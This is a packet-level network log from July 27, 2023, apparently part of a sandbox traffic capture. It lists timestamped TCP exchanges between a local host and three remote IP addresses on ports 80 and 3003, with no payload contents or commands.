Jul 27, 2023 18:26:54.205353975 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205399990 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205415010 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205446959 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205456972 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205491066 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205495119 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205538034 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205540895 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205585957 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205588102 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205632925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205635071 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205674887 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205682039 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205729961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205734015 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205774069 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205775976 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205821991 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205822945 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205869913 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205915928 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205916882 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.205965996 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.205972910 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206008911 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206012011 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206058979 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206073046 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206103086 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206105947 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206147909 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206171036 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206196070 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206197977 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206238985 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206243992 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206290960 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206335068 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206337929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206383944 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206401110 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206428051 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206433058 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206474066 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206479073 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206521988 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206526995 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206571102 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206573963 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206617117 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206620932 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206664085 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206666946 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206710100 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.206710100 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:54.206895113 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:54.215323925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:55.250211000 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.261343956 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:55.267220020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.268436909 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.504147053 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:55.861022949 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.877388954 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.877573967 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.877857924 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.877902031 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:55.894073009 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.894124985 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.983222008 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.983274937 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:55.983505011 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:56.312855959 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:56.312939882 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:56.329255104 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:56.329307079 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:56.386152983 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:56.386272907 CEST	80	49700	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:56.386440992 CEST	49700	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:57.618506908 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.657197952 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.657347918 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.657643080 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.696588039 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696655989 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696705103 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696752071 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696768999 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.696799040 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696810007 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.696846008 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696891069 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696892023 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.696938992 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.696985006 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.696985960 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.697031021 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.697066069 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.697083950 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.735646009 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735711098 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735759974 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735805035 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735806942 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.735852003 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735853910 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.735901117 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735943079 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.735945940 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.735991955 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736026049 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736042023 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736073971 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736119986 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736164093 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736166000 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736212969 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736268997 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736260891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736329079 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736373901 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736377001 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736418962 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736463070 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736463070 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736509085 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736553907 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736553907 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.736598969 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736632109 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.736638069 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775209904 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775281906 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775332928 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775383949 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775392056 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775430918 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775448084 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775480032 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775526047 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775537968 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775580883 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775626898 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775638103 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775672913 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775719881 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775732040 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775768995 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775815010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775832891 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775863886 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775908947 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775923967 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.775955915 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.775991917 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776007891 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776038885 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776086092 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776130915 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776155949 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776180029 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776226997 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776230097 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776302099 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776348114 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776365995 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776395082 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776442051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776458979 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776488066 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776535034 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776550055 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776590109 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776633978 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776643991 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776681900 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776727915 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776731968 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776773930 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776822090 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776834011 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776874065 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776921034 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.776921988 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.776968002 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777014017 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777060032 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777064085 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.777106047 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777113914 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.777153015 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777189016 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.777204037 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.815716982 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815785885 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815830946 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815880060 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815917015 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815963984 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.815967083 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.815995932 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816014051 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816061974 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816088915 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816109896 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816159010 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816163063 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816205025 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816252947 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816260099 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816327095 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816375017 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816386938 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816422939 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816469908 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816479921 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816517115 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816562891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816565990 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816608906 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816653013 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816654921 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816704988 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816750050 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816756010 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816797972 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816843033 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816850901 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816889048 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816935062 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.816936970 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.816982985 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817018032 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817040920 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817066908 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817112923 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817159891 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817162037 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817205906 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817251921 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817255020 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817301989 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817349911 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817353010 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817395926 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817445040 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817449093 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817496061 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817542076 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817543983 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817590952 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817637920 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817646980 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817687035 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817727089 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817742109 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817794085 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817846060 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817893028 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817893028 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.817939997 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.817986965 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818001032 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.818033934 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818080902 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818089008 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.818128109 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818173885 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818177938 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.818221092 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818258047 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.818279028 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857100964 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857151985 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857188940 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857218981 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857235909 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857244015 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857275963 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857302904 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857311964 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857330084 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857353926 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857355118 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857388973 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857404947 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857419014 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857450008 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857480049 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857482910 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857507944 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857525110 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857543945 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857577085 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857592106 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857609987 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857635975 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857664108 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857697964 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857700109 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857721090 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857729912 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857744932 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857755899 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857769966 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857804060 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857814074 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857837915 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857867002 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857897043 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857903004 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.857932091 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857976913 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.857978106 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858021975 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858058929 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858092070 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858098984 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858122110 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858130932 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858153105 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858182907 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858212948 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:26:57.858215094 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:26:57.858278036 CEST	3003	49701	95.214.25.207	192.168.2.4
